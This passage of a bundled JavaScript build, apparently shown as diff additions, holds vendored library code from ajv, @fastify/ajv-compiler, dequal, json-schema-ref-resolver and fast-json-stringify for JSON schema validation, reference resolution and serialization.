_a3; + var _b; + (_a3 = (_b = ajv.opts.code).formats) !== null && _a3 !== void 0 ? _a3 : _b.formats = (0, codegen_1._)`require("ajv-formats/dist/formats").${exportName}`; + for (const f of list) + ajv.addFormat(f, fs2[f]); + } + module.exports = exports = formatsPlugin; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.default = formatsPlugin; + } +}); + +// node_modules/.pnpm/@fastify+ajv-compiler@4.0.6/node_modules/@fastify/ajv-compiler/lib/validator-compiler.js +var require_validator_compiler = __commonJS({ + "node_modules/.pnpm/@fastify+ajv-compiler@4.0.6/node_modules/@fastify/ajv-compiler/lib/validator-compiler.js"(exports, module) { + "use strict"; + var Ajv = require_ajv().default; + var AjvJTD = require_jtd2(); + var defaultAjvOptions = require_default_ajv_options(); + var ValidatorCompiler = class { + constructor(externalSchemas, options) { + if (options.mode === "JTD") { + this.ajv = new AjvJTD(Object.assign({}, defaultAjvOptions, options.customOptions)); + } else { + this.ajv = new Ajv(Object.assign({}, defaultAjvOptions, options.customOptions)); + } + let addFormatPlugin = true; + if (options.plugins && options.plugins.length > 0) { + for (const plugin of options.plugins) { + if (Array.isArray(plugin)) { + addFormatPlugin = addFormatPlugin && plugin[0].name !== "formatsPlugin"; + plugin[0](this.ajv, plugin[1]); + } else { + addFormatPlugin = addFormatPlugin && plugin.name !== "formatsPlugin"; + plugin(this.ajv); + } + } + } + if (addFormatPlugin) { + require_dist2()(this.ajv); + } + options.onCreate?.(this.ajv); + const sourceSchemas = Object.values(externalSchemas); + for (const extSchema of sourceSchemas) { + this.ajv.addSchema(extSchema); + } + } + buildValidatorFunction({ + schema + /*, method, url, httpPart */ + }) { + if (schema.$id) { + const stored = this.ajv.getSchema(schema.$id); + if (stored) { + return stored; + } + } + return this.ajv.compile(schema); + } + }; + module.exports = ValidatorCompiler; + } +}); + +// node_modules/.pnpm/@fastify+ajv-compiler@4.0.6/node_modules/@fastify/ajv-compiler/lib/serializer-compiler.js +var require_serializer_compiler = __commonJS({ + "node_modules/.pnpm/@fastify+ajv-compiler@4.0.6/node_modules/@fastify/ajv-compiler/lib/serializer-compiler.js"(exports, module) { + "use strict"; + var AjvJTD = require_jtd2(); + var defaultAjvOptions = require_default_ajv_options(); + var SerializerCompiler = class { + constructor(_externalSchemas, options) { + this.ajv = new AjvJTD(Object.assign({}, defaultAjvOptions, options)); + } + buildSerializerFunction({ + schema + /*, method, url, httpStatus */ + }) { + return this.ajv.compileSerializer(schema); + } + }; + module.exports = SerializerCompiler; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/standalone/index.js +var require_standalone = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/standalone/index.js"(exports, module) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var scope_1 = require_scope(); + var code_1 = require_code(); + function standaloneCode(ajv, refsOrFunc) { + if (!ajv.opts.code.source) { + throw new Error("moduleCode: ajv instance must have code.source option"); + } + const { _n } = ajv.scope.opts; + return typeof refsOrFunc == "function" ? funcExportCode(refsOrFunc.source) : refsOrFunc !== void 0 ? multiExportsCode(refsOrFunc, getValidate) : multiExportsCode(ajv.schemas, (sch) => sch.meta ? void 0 : ajv.compile(sch.schema)); + function getValidate(id) { + const v = ajv.getSchema(id); + if (!v) + throw new Error(`moduleCode: no schema with id ${id}`); + return v; + } + function funcExportCode(source) { + const usedValues = {}; + const n = source === null || source === void 0 ? void 0 : source.validateName; + const vCode = validateCode(usedValues, source); + if (ajv.opts.code.esm) { + return `"use strict";${_n}export const validate = ${n};${_n}export default ${n};${_n}${vCode}`; + } + return `"use strict";${_n}module.exports = ${n};${_n}module.exports.default = ${n};${_n}${vCode}`; + } + function multiExportsCode(schemas, getValidateFunc) { + var _a3; + const usedValues = {}; + let code = (0, code_1._)`"use strict";`; + for (const name in schemas) { + const v = getValidateFunc(schemas[name]); + if (v) { + const vCode = validateCode(usedValues, v.source); + const exportSyntax = ajv.opts.code.esm ? (0, code_1._)`export const ${(0, code_1.getEsmExportName)(name)}` : (0, code_1._)`exports${(0, code_1.getProperty)(name)}`; + code = (0, code_1._)`${code}${_n}${exportSyntax} = ${(_a3 = v.source) === null || _a3 === void 0 ? void 0 : _a3.validateName};${_n}${vCode}`; + } + } + return `${code}`; + } + function validateCode(usedValues, s) { + if (!s) + throw new Error('moduleCode: function does not have "source" property'); + if (usedState(s.validateName) === scope_1.UsedValueState.Completed) + return code_1.nil; + setUsedState(s.validateName, scope_1.UsedValueState.Started); + const scopeCode = ajv.scope.scopeCode(s.scopeValues, usedValues, refValidateCode); + const code = new code_1._Code(`${scopeCode}${_n}${s.validateCode}`); + return s.evaluated ? (0, code_1._)`${code}${s.validateName}.evaluated = ${s.evaluated};${_n}` : code; + function refValidateCode(n) { + var _a3; + const vRef = (_a3 = n.value) === null || _a3 === void 0 ? void 0 : _a3.ref; + if (n.prefix === "validate" && typeof vRef == "function") { + const v = vRef; + return validateCode(usedValues, v.source); + } else if ((n.prefix === "root" || n.prefix === "wrapper") && typeof vRef == "object") { + const { validate, validateName } = vRef; + if (!validateName) + throw new Error("ajv internal error"); + const def = ajv.opts.code.es5 ? scope_1.varKinds.var : scope_1.varKinds.const; + const wrapper = (0, code_1._)`${def} ${n} = {validate: ${validateName}};`; + if (usedState(validateName) === scope_1.UsedValueState.Started) + return wrapper; + const vCode = validateCode(usedValues, validate === null || validate === void 0 ? void 0 : validate.source); + return (0, code_1._)`${wrapper}${_n}${vCode}`; + } + return void 0; + } + function usedState(name) { + var _a3; + return (_a3 = usedValues[name.prefix]) === null || _a3 === void 0 ? void 0 : _a3.get(name); + } + function setUsedState(name, state) { + const { prefix } = name; + const names = usedValues[prefix] = usedValues[prefix] || /* @__PURE__ */ new Map(); + names.set(name, state); + } + } + } + module.exports = exports = standaloneCode; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.default = standaloneCode; + } +}); + +// node_modules/.pnpm/@fastify+ajv-compiler@4.0.6/node_modules/@fastify/ajv-compiler/standalone.js +var require_standalone2 = __commonJS({ + "node_modules/.pnpm/@fastify+ajv-compiler@4.0.6/node_modules/@fastify/ajv-compiler/standalone.js"(exports, module) { + "use strict"; + var ValidatorSelector = require_ajv_compiler(); + var standaloneCode = require_standalone().default; + function StandaloneValidator(options = { readMode: true }) { + if (options.readMode === true && !options.restoreFunction) { + throw new Error("You must provide a restoreFunction options when readMode ON"); + } + if (options.readMode !== true && !options.storeFunction) { + throw new Error("You must provide a storeFunction options when readMode OFF"); + } + if (options.readMode === true) { + return function wrapper() { + return function(opts) { + return options.restoreFunction(opts); + }; + }; + } + const factory = ValidatorSelector(); + return function wrapper(externalSchemas, ajvOptions = {}) { + if (!ajvOptions.customOptions || !ajvOptions.customOptions.code) { + ajvOptions.customOptions = Object.assign({}, ajvOptions.customOptions, { code: { source: true } }); + } + const compiler = factory(externalSchemas, ajvOptions); + return function(opts) { + const validationFunc = compiler(opts); + const schemaValidationCode = standaloneCode(compiler[ValidatorSelector.AjvReference].ajv, validationFunc); + options.storeFunction(opts, schemaValidationCode); + return validationFunc; + }; + }; + } + module.exports = StandaloneValidator; + } +}); + +// node_modules/.pnpm/@fastify+ajv-compiler@4.0.6/node_modules/@fastify/ajv-compiler/index.js +var require_ajv_compiler = __commonJS({ + "node_modules/.pnpm/@fastify+ajv-compiler@4.0.6/node_modules/@fastify/ajv-compiler/index.js"(exports, module) { + "use strict"; + var AjvReference = Symbol.for("fastify.ajv-compiler.reference"); + var ValidatorCompiler = require_validator_compiler(); + var SerializerCompiler = require_serializer_compiler(); + function AjvCompiler(opts) { + const validatorPool = /* @__PURE__ */ new Map(); + const serializerPool = /* @__PURE__ */ new Map(); + if (opts && opts.jtdSerializer === true) { + return function buildSerializerFromPool(externalSchemas, serializerOpts) { + const uniqueAjvKey = getPoolKey({}, serializerOpts); + if (serializerPool.has(uniqueAjvKey)) { + return serializerPool.get(uniqueAjvKey); + } + const compiler = new SerializerCompiler(externalSchemas, serializerOpts); + const ret2 = compiler.buildSerializerFunction.bind(compiler); + serializerPool.set(uniqueAjvKey, ret2); + return ret2; + }; + } + return function buildCompilerFromPool(externalSchemas, options) { + const uniqueAjvKey = getPoolKey(externalSchemas, options.customOptions); + if (validatorPool.has(uniqueAjvKey)) { + return validatorPool.get(uniqueAjvKey); + } + const compiler = new ValidatorCompiler(externalSchemas, options); + const ret2 = compiler.buildValidatorFunction.bind(compiler); + validatorPool.set(uniqueAjvKey, ret2); + if (options.customOptions.code !== void 0) { + ret2[AjvReference] = compiler; + } + return ret2; + }; + } + function getPoolKey(externalSchemas, options) { + const externals = JSON.stringify(externalSchemas); + const ajvConfig = JSON.stringify(options); + return `${externals}${ajvConfig}`; + } + module.exports = AjvCompiler; + module.exports.default = AjvCompiler; + module.exports.AjvCompiler = AjvCompiler; + module.exports.AjvReference = AjvReference; + module.exports.StandaloneValidator = require_standalone2(); + } +}); + +// node_modules/.pnpm/dequal@2.0.3/node_modules/dequal/dist/index.js +var require_dist3 = __commonJS({ + "node_modules/.pnpm/dequal@2.0.3/node_modules/dequal/dist/index.js"(exports) { + var has = Object.prototype.hasOwnProperty; + function find(iter, tar, key) { + for (key of iter.keys()) { + if (dequal(key, tar)) return key; + } + } + function dequal(foo, bar) { + var ctor, len, tmp; + if (foo === bar) return true; + if (foo && bar && (ctor = foo.constructor) === bar.constructor) { + if (ctor === Date) return foo.getTime() === bar.getTime(); + if (ctor === RegExp) return foo.toString() === bar.toString(); + if (ctor === Array) { + if ((len = foo.length) === bar.length) { + while (len-- && dequal(foo[len], bar[len])) ; + } + return len === -1; + } + if (ctor === Set) { + if (foo.size !== bar.size) { + return false; + } + for (len of foo) { + tmp = len; + if (tmp && typeof tmp === "object") { + tmp = find(bar, tmp); + if (!tmp) return false; + } + if (!bar.has(tmp)) return false; + } + return true; + } + if (ctor === Map) { + if (foo.size !== bar.size) { + return false; + } + for (len of foo) { + tmp = len[0]; + if (tmp && typeof tmp === "object") { + tmp = find(bar, tmp); + if (!tmp) return false; + } + if (!dequal(len[1], bar.get(tmp))) { + return false; + } + } + return true; + } + if (ctor === ArrayBuffer) { + foo = new Uint8Array(foo); + bar = new Uint8Array(bar); + } else if (ctor === DataView) { + if ((len = foo.byteLength) === bar.byteLength) { + while (len-- && foo.getInt8(len) === bar.getInt8(len)) ; + } + return len === -1; + } + if (ArrayBuffer.isView(foo)) { + if ((len = foo.byteLength) === bar.byteLength) { + while (len-- && foo[len] === bar[len]) ; + } + return len === -1; + } + if (!ctor || typeof foo === "object") { + len = 0; + for (ctor in foo) { + if (has.call(foo, ctor) && ++len && !has.call(bar, ctor)) return false; + if (!(ctor in bar) || !dequal(foo[ctor], bar[ctor])) return false; + } + return Object.keys(bar).length === len; + } + } + return foo !== foo && bar !== bar; + } + exports.dequal = dequal; + } +}); + +// node_modules/.pnpm/json-schema-ref-resolver@3.0.0/node_modules/json-schema-ref-resolver/index.js +var require_json_schema_ref_resolver = __commonJS({ + "node_modules/.pnpm/json-schema-ref-resolver@3.0.0/node_modules/json-schema-ref-resolver/index.js"(exports, module) { + "use strict"; + var { dequal: deepEqual } = require_dist3(); + var jsonSchemaRefSymbol = Symbol.for("json-schema-ref"); + var RefResolver = class { + #schemas; + #derefSchemas; + #insertRefSymbol; + #allowEqualDuplicates; + #cloneSchemaWithoutRefs; + constructor(opts = {}) { + this.#schemas = {}; + this.#derefSchemas = {}; + this.#insertRefSymbol = opts.insertRefSymbol ?? false; + this.#allowEqualDuplicates = opts.allowEqualDuplicates ?? true; + this.#cloneSchemaWithoutRefs = opts.cloneSchemaWithoutRefs ?? false; + } + addSchema(schema, rootSchemaId, isRootSchema = true) { + if (isRootSchema) { + if (schema.$id !== void 0 && schema.$id.charAt(0) !== "#") { + rootSchemaId = schema.$id; + } else { + this.#insertSchemaBySchemaId(schema, rootSchemaId); + } + } + const schemaId = schema.$id; + if (schemaId !== void 0 && typeof schemaId === "string") { + if (schemaId.charAt(0) === "#") { + this.#insertSchemaByAnchor(schema, rootSchemaId, schemaId); + } else { + this.#insertSchemaBySchemaId(schema, schemaId); + rootSchemaId = schemaId; + } + } + const ref = schema.$ref; + if (ref !== void 0 && typeof ref === "string") { + const { refSchemaId, refJsonPointer } = this.#parseSchemaRef(ref, rootSchemaId); + this.#schemas[rootSchemaId].refs.push({ + schemaId: refSchemaId, + jsonPointer: refJsonPointer + }); + } + for (const key in schema) { + if (typeof schema[key] === "object" && schema[key] !== null) { + this.addSchema(schema[key], rootSchemaId, false); + } + } + } + getSchema(schemaId, jsonPointer = "#") { + const schema = this.#schemas[schemaId]; + if (schema === void 0) { + throw new Error( + `Cannot resolve ref "${schemaId}${jsonPointer}". Schema with id "${schemaId}" is not found.` + ); + } + if (schema.anchors[jsonPointer] !== void 0) { + return schema.anchors[jsonPointer]; + } + return getDataByJSONPointer(schema.schema, jsonPointer); + } + hasSchema(schemaId) { + return this.#schemas[schemaId] !== void 0; + } + getSchemaRefs(schemaId) { + const schema = this.#schemas[schemaId]; + if (schema === void 0) { + throw new Error(`Schema with id "${schemaId}" is not found.`); + } + return schema.refs; + } + getSchemaDependencies(schemaId, dependencies = {}) { + const schema = this.#schemas[schemaId]; + for (const ref of schema.refs) { + const dependencySchemaId = ref.schemaId; + if (dependencySchemaId === schemaId || dependencies[dependencySchemaId] !== void 0) continue; + dependencies[dependencySchemaId] = this.getSchema(dependencySchemaId); + this.getSchemaDependencies(dependencySchemaId, dependencies); + } + return dependencies; + } + derefSchema(schemaId) { + if (this.#derefSchemas[schemaId] !== void 0) return; + const schema = this.#schemas[schemaId]; + if (schema === void 0) { + throw new Error(`Schema with id "${schemaId}" is not found.`); + } + if (!this.#cloneSchemaWithoutRefs && schema.refs.length === 0) { + this.#derefSchemas[schemaId] = { + schema: schema.schema, + anchors: schema.anchors + }; + } + const refs = []; + this.#addDerefSchema(schema.schema, schemaId, true, refs); + const dependencies = this.getSchemaDependencies(schemaId); + for (const schemaId2 in dependencies) { + const schema2 = dependencies[schemaId2]; + this.#addDerefSchema(schema2, schemaId2, true, refs); + } + for (const ref of refs) { + const { + refSchemaId, + refJsonPointer + } = this.#parseSchemaRef(ref.ref, ref.sourceSchemaId); + const targetSchema = this.getDerefSchema(refSchemaId, refJsonPointer); + if (targetSchema === null) { + throw new Error( + `Cannot resolve ref "${ref.ref}". Ref "${refJsonPointer}" is not found in schema "${refSchemaId}".` + ); + } + ref.targetSchema = targetSchema; + ref.targetSchemaId = refSchemaId; + } + for (const ref of refs) { + this.#resolveRef(ref, refs); + } + } + getDerefSchema(schemaId, jsonPointer = "#") { + let derefSchema = this.#derefSchemas[schemaId]; + if (derefSchema === void 0) { + this.derefSchema(schemaId); + derefSchema = this.#derefSchemas[schemaId]; + } + if (derefSchema.anchors[jsonPointer] !== void 0) { + return derefSchema.anchors[jsonPointer]; + } + return getDataByJSONPointer(derefSchema.schema, jsonPointer); + } + #parseSchemaRef(ref, schemaId) { + const sharpIndex = ref.indexOf("#"); + if (sharpIndex === -1) { + return { refSchemaId: ref, refJsonPointer: "#" }; + } + if (sharpIndex === 0) { + return { refSchemaId: schemaId, refJsonPointer: ref }; + } + return { + refSchemaId: ref.slice(0, sharpIndex), + refJsonPointer: ref.slice(sharpIndex) + }; + } + #addDerefSchema(schema, rootSchemaId, isRootSchema, refs = []) { + const derefSchema = Array.isArray(schema) ? [...schema] : { ...schema }; + if (isRootSchema) { + if (schema.$id !== void 0 && schema.$id.charAt(0) !== "#") { + rootSchemaId = schema.$id; + } else { + this.#insertDerefSchemaBySchemaId(derefSchema, rootSchemaId); + } + } + const schemaId = derefSchema.$id; + if (schemaId !== void 0 && typeof schemaId === "string") { + if (schemaId.charAt(0) === "#") { + this.#insertDerefSchemaByAnchor(derefSchema, rootSchemaId, schemaId); + } else { + this.#insertDerefSchemaBySchemaId(derefSchema, schemaId); + rootSchemaId = schemaId; + } + } + if (derefSchema.$ref !== void 0) { + refs.push({ + ref: derefSchema.$ref, + sourceSchemaId: rootSchemaId, + sourceSchema: derefSchema + }); + } + for (const key in derefSchema) { + const value = derefSchema[key]; + if (typeof value === "object" && value !== null) { + derefSchema[key] = this.#addDerefSchema(value, rootSchemaId, false, refs); + } + } + return derefSchema; + } + #resolveRef(ref, refs) { + const { sourceSchema, targetSchema } = ref; + if (!sourceSchema.$ref) return; + if (this.#insertRefSymbol) { + sourceSchema[jsonSchemaRefSymbol] = sourceSchema.$ref; + } + delete sourceSchema.$ref; + if (targetSchema.$ref) { + const targetSchemaRef = refs.find((ref2) => ref2.sourceSchema === targetSchema); + this.#resolveRef(targetSchemaRef, refs); + } + for (const key in targetSchema) { + if (key === "$id") continue; + if (sourceSchema[key] !== void 0) { + if (deepEqual(sourceSchema[key], targetSchema[key])) continue; + throw new Error( + `Cannot resolve ref "${ref.ref}". Property "${key}" already exists in schema "${ref.sourceSchemaId}".` + ); + } + sourceSchema[key] = targetSchema[key]; + } + ref.isResolved = true; + } + #insertSchemaBySchemaId(schema, schemaId) { + const foundSchema = this.#schemas[schemaId]; + if (foundSchema !== void 0) { + if (this.#allowEqualDuplicates && deepEqual(schema, foundSchema.schema)) return; + throw new Error(`There is already another schema with id "${schemaId}".`); + } + this.#schemas[schemaId] = { schema, anchors: {}, refs: [] }; + } + #insertSchemaByAnchor(schema, schemaId, anchor) { + const { anchors } = this.#schemas[schemaId]; + if (anchors[anchor] !== void 0) { + throw new Error(`There is already another anchor "${anchor}" in schema "${schemaId}".`); + } + anchors[anchor] = schema; + } + #insertDerefSchemaBySchemaId(schema, schemaId) { + const foundSchema = this.#derefSchemas[schemaId]; + if (foundSchema !== void 0) return; + this.#derefSchemas[schemaId] = { schema, anchors: {} }; + } + #insertDerefSchemaByAnchor(schema, schemaId, anchor) { + const { anchors } = this.#derefSchemas[schemaId]; + anchors[anchor] = schema; + } + }; + function getDataByJSONPointer(data, jsonPointer) { + const parts = jsonPointer.split("/"); + let current = data; + for (const part of parts) { + if (part === "" || part === "#") continue; + if (typeof current !== "object" || current === null) { + return null; + } + current = current[part]; + } + return current ?? null; + } + module.exports = { RefResolver }; + } +}); + +// node_modules/.pnpm/fast-json-stringify@7.0.1/node_modules/fast-json-stringify/lib/validator.js +var require_validator = __commonJS({ + "node_modules/.pnpm/fast-json-stringify@7.0.1/node_modules/fast-json-stringify/lib/validator.js"(exports, module) { + "use strict"; + var Ajv = require_ajv(); + var fastUri = require_fast_uri2(); + var ajvFormats = require_dist2(); + var clone2 = require_rfdc()({ proto: true }); + var Validator = class _Validator { + constructor(ajvOptions) { + this.ajv = new Ajv({ + ...ajvOptions, + strictSchema: false, + validateSchema: false, + allowUnionTypes: true, + uriResolver: fastUri + }); + ajvFormats(this.ajv); + this.ajv.addKeyword({ + keyword: "fjs_type", + type: "object", + errors: false, + validate: (_type, data) => { + return data && typeof data.toJSON === "function"; + } + }); + this._ajvSchemas = {}; + this._ajvOptions = ajvOptions || {}; + } + addSchema(schema, schemaName) { + let schemaKey = schema.$id || schemaName; + if (schema.$id !== void 0 && schema.$id[0] === "#") { + schemaKey = schemaName + schema.$id; + } + if (this.ajv.refs[schemaKey] === void 0 && this.ajv.schemas[schemaKey] === void 0) { + const ajvSchema = clone2(schema); + this.convertSchemaToAjvFormat(ajvSchema); + this.ajv.addSchema(ajvSchema, schemaKey); + this._ajvSchemas[schemaKey] = schema; + } + } + validate(schemaRef, data) { + return this.ajv.validate(schemaRef, data); + } + // Ajv does not natively support JavaScript objects like Date or other types + // that rely on a custom .toJSON() representation. To properly validate schemas + // that may contain such objects (e.g. Date, ObjectId, etc.), we replace all + // occurrences of the string type with a custom keyword fjs_type + // (see https://github.com/fastify/fast-json-stringify/pull/441) + convertSchemaToAjvFormat(schema) { + if (schema === null) return; + if (schema.type === "string") { + schema.fjs_type = "string"; + schema.type = ["string", "object"]; + } else if (Array.isArray(schema.type) && schema.type.includes("string") && !schema.type.includes("object")) { + schema.fjs_type = "string"; + schema.type.push("object"); + } + for (const property in schema) { + if (typeof schema[property] === "object") { + this.convertSchemaToAjvFormat(schema[property]); + } + } + } + getState() { + return { + ajvOptions: this._ajvOptions, + ajvSchemas: this._ajvSchemas + }; + } + static restoreFromState(state) { + const validator = new _Validator(state.ajvOptions); + for (const [id, ajvSchema] of Object.entries(state.ajvSchemas)) { + validator.ajv.addSchema(ajvSchema, id); + } + return validator; + } + }; + module.exports = Validator; + } +}); + +// node_modules/.pnpm/fast-json-stringify@7.0.1/node_modules/fast-json-stringify/lib/location.js +var require_location = __commonJS({ + "node_modules/.pnpm/fast-json-stringify@7.0.1/node_modules/fast-json-stringify/lib/location.js"(exports, module) { + "use strict"; + var Location = class _Location { + constructor(schema, schemaId, jsonPointer = "#") { + this.schema = schema; + this.schemaId = schemaId; + this.jsonPointer = jsonPointer; + } + getPropertyLocation(propertyName) { + const propertyLocation = new _Location( + this.schema[propertyName], + this.schemaId, + this.jsonPointer + "/" + propertyName + ); + return propertyLocation; + } + getSchemaRef() { + return this.schemaId + this.jsonPointer; + } + }; + module.exports = Location; + } +}); + +// node_modules/.pnpm/fast-json-stringify@7.0.1/node_modules/fast-json-stringify/lib/schema-validator.js +var require_schema_validator = __commonJS({ + "node_modules/.pnpm/fast-json-stringify@7.0.1/node_modules/fast-json-stringify/lib/schema-validator.js"(exports, module) { + "use strict"; + module.exports = validate10; + module.exports.default = validate10; + var schema11 = { "$schema": "http://json-schema.org/draft-07/schema#", "$id": "http://json-schema.org/draft-07/schema#", "title": "Core schema meta-schema", "definitions": { "schemaArray": { "type": "array", "minItems": 1, "items": { "$ref": "#" } }, "nonNegativeInteger": { "type": "integer", "minimum": 0 }, "nonNegativeIntegerDefault0": { "allOf": [{ "$ref": "#/definitions/nonNegativeInteger" }, { "default": 0 }] }, "simpleTypes": { "enum": ["array", "boolean", "integer", "null", "number", "object", "string"] }, "stringArray": { "type": "array", "items": { "type": "string" }, "uniqueItems": true, "default": [] } }, "type": ["object", "boolean"], "properties": { "$id": { "type": "string", "format": "uri-reference" }, "$schema": { "type": "string", "format": "uri" }, "$ref": { "type": "string", "format": "uri-reference" }, "$comment": { "type": "string" }, "title": { "type": "string" }, "description": { "type": "string" }, "default": true, "readOnly": { "type": "boolean", "default": false }, "examples": { "type": "array", "items": true }, "multipleOf": { "type": "number", "exclusiveMinimum": 0 }, "maximum": { "type": "number" }, "exclusiveMaximum": { "type": "number" }, "minimum": { "type": "number" }, "exclusiveMinimum": { "type": "number" }, "maxLength": { "$ref": "#/definitions/nonNegativeInteger" }, "minLength": { "$ref": "#/definitions/nonNegativeIntegerDefault0" }, "pattern": { "type": "string", "format": "regex" }, "additionalItems": { "$ref": "#" }, "items": { "anyOf": [{ "$ref": "#" }, { "$ref": "#/definitions/schemaArray" }], "default": true }, "maxItems": { "$ref": "#/definitions/nonNegativeInteger" }, "minItems": { "$ref": "#/definitions/nonNegativeIntegerDefault0" }, "uniqueItems": { "type": "boolean", "default": false }, "contains": { "$ref": "#" }, "maxProperties": { "$ref": "#/definitions/nonNegativeInteger" }, "minProperties": { "$ref": "#/definitions/nonNegativeIntegerDefault0" }, "required": { "$ref": "#/definitions/stringArray" }, "additionalProperties": { "$ref": "#" }, "definitions": { "type": "object", "additionalProperties": { "$ref": "#" }, "default": {} }, "properties": { "type": "object", "additionalProperties": { "$ref": "#" }, "default": {} }, "patternProperties": { "type": "object", "additionalProperties": { "$ref": "#" }, "propertyNames": { "format": "regex" }, "default": {} }, "dependencies": { "type": "object", "additionalProperties": { "anyOf": [{ "$ref": "#" }, { "$ref": "#/definitions/stringArray" }] } }, "propertyNames": { "$ref": "#" }, "const": true, "enum": { "type": "array", "items": true, "minItems": 1, "uniqueItems": true }, "type": { "anyOf": [{ "$ref": "#/definitions/simpleTypes" }, { "type": "array", "items": { "$ref": "#/definitions/simpleTypes" }, "minItems": 1, "uniqueItems": true }] }, "format": { "type": "string" }, "contentMediaType": { "type": "string" }, "contentEncoding": { "type": "string" }, "if": { "$ref": "#" }, "then": { "$ref": "#" }, "else": { "$ref": "#" }, "allOf": { "$ref": "#/definitions/schemaArray" }, "anyOf": { "$ref": "#/definitions/schemaArray" }, "oneOf": { "$ref": "#/definitions/schemaArray" }, "not": { "$ref": "#" } }, "default": true }; + var schema20 = { "enum": ["array", "boolean", "integer", "null", "number", "object", "string"] }; + var formats0 = /^(?:[a-z][a-z0-9+\-.]*:)?(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'"()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?(?:\?(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?$/i; + var formats2 = require_formats().fullFormats.uri; + var formats6 = require_formats().fullFormats.regex; + function validate11(data, { instancePath = "", parentData, parentDataProperty, rootData = data } = {}) { + let vErrors = null; + let errors = 0; + const _errs1 = errors; + if (!(typeof data == "number" && (!(data % 1) && !isNaN(data)) && isFinite(data))) { + validate11.errors = [{ instancePath, schemaPath: "#/definitions/nonNegativeInteger/type", keyword: "type", params: { type: "integer" }, message: "must be integer" }]; + return false; + } + if (errors === _errs1) { + if (typeof data == "number" && isFinite(data)) { + if (data < 0 || isNaN(data)) { + validate11.errors = [{ instancePath, schemaPath: "#/definitions/nonNegativeInteger/minimum", keyword: "minimum", params: { comparison: ">=", limit: 0 }, message: "must be >= 0" }]; + return false; + } + } + } + validate11.errors = vErrors; + return errors === 0; + } + var root1 = { validate: validate10 }; + function validate13(data, { instancePath = "", parentData, parentDataProperty, rootData = data } = {}) { + let vErrors = null; + let errors = 0; + if (errors === 0) { + if (Array.isArray(data)) { + if (data.length < 1) { + validate13.errors = [{ instancePath, schemaPath: "#/minItems", keyword: "minItems", params: { limit: 1 }, message: "must NOT have fewer than 1 items" }]; + return false; + } else { + var valid0 = true; + const len0 = data.length; + for (let i0 = 0; i0 < len0; i0++) { + const _errs1 = errors; + if (!root1.validate(data[i0], { instancePath: instancePath + "/" + i0, parentData: data, parentDataProperty: i0, rootData })) { + vErrors = vErrors === null ? root1.validate.errors : vErrors.concat(root1.validate.errors); + errors = vErrors.length; + } + var valid0 = _errs1 === errors; + if (!valid0) { + break; + } + } + } + } else { + validate13.errors = [{ instancePath, schemaPath: "#/type", keyword: "type", params: { type: "array" }, message: "must be array" }]; + return false; + } + } + validate13.errors = vErrors; + return errors === 0; + } + var func0 = require_equal().default; + function validate10(data, { instancePath = "", parentData, parentDataProperty, rootData = data } = {}) { + ; + let vErrors = null; + let errors = 0; + if (!(data && typeof data == "object" && !Array.isArray(data)) && typeof data !== "boolean") { + validate10.errors = [{ instancePath, schemaPath: "#/type", keyword: "type", params: { type: schema11.type }, message: "must be object,boolean" }]; + return false; + } + if (errors === 0) { + if (data && typeof data == "object" && !Array.isArray(data)) { + if (data.$id !== void 0) { + let data0 = data.$id; + const _errs1 = errors; + if (errors === _errs1) { + if (errors === _errs1) { + if (typeof data0 === "string") { + if (!formats0.test(data0)) { + validate10.errors = [{ instancePath: instancePath + "/$id", schemaPath: "#/properties/%24id/format", keyword: "format", params: { format: "uri-reference" }, message: 'must match format "uri-reference"' }]; + return false; + } + } else { + validate10.errors = [{ instancePath: instancePath + "/$id", schemaPath: "#/properties/%24id/type", keyword: "type", params: { type: "string" }, message: "must be string" }]; + return false; + } + } + } + var valid0 = _errs1 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.$schema !== void 0) { + let data1 = data.$schema; + const _errs3 = errors; + if (errors === _errs3) { + if (errors === _errs3) { + if (typeof data1 === "string") { + if (!formats2(data1)) { + validate10.errors = [{ instancePath: instancePath + "/$schema", schemaPath: "#/properties/%24schema/format", keyword: "format", params: { format: "uri" }, message: 'must match format "uri"' }]; + return false; + } + } else { + validate10.errors = [{ instancePath: instancePath + "/$schema", schemaPath: "#/properties/%24schema/type", keyword: "type", params: { type: "string" }, 